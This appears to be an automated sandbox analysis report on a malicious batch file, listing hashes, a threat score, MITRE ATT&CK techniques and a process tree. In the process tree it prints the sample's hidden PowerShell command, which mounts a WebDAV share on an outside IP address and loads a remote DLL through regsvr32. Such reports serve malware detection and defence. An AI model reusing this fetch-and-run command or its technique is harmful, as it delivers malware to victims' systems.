861dce61ef3ff99e0171216006bed5a42a5bb62e69cdb949a6f71b1d3ed50f84

Analysis

max time kernel
100s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 12:15

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General

Target

1849625714245234452.bat
Size

14KB
MD5

9a56cb79de8c0c6c2d53533dcadc412f
SHA1

0f0d86251caef82aaafe43f97515df8ad1e51d8e
SHA256

861dce61ef3ff99e0171216006bed5a42a5bb62e69cdb949a6f71b1d3ed50f84
SHA512

c23f48a8d4a1bf076b3561183dfa1ccf6ad29590bcc26c5035aea76b9e157e06a5c335ca5fbf1625e16ddec050ca4b51d0f10a356eac87450242f73a54a8ef76
SSDEEP

384:/njVjrftmoud5kC1SMR/Z2haNhhPnlM+pTDLtX4:JooudSISMR/Z2harBnrv2

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2956	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2956	powershell.exe
2956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2956	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4848	wordpad.exe
4848	wordpad.exe
4848	wordpad.exe
4848	wordpad.exe
4848	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 4848	2556	cmd.exe	85
PID 2556 wrote to memory of 4848	2556	cmd.exe	85
PID 2556 wrote to memory of 2956	2556	cmd.exe	87
PID 2556 wrote to memory of 2956	2556	cmd.exe	87
PID 2956 wrote to memory of 1556	2956	powershell.exe	89
PID 2956 wrote to memory of 1556	2956	powershell.exe	89
PID 2956 wrote to memory of 4104	2956	powershell.exe	90
PID 2956 wrote to memory of 4104	2956	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1849625714245234452.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\201833256420517.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1556
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\201833256420517.dll
    3⤵
    PID:4104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m3qwdwi0.tgi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2956-5-0x000001E0FFFB0000-0x000001E0FFFD2000-memory.dmp

Filesize
136KB

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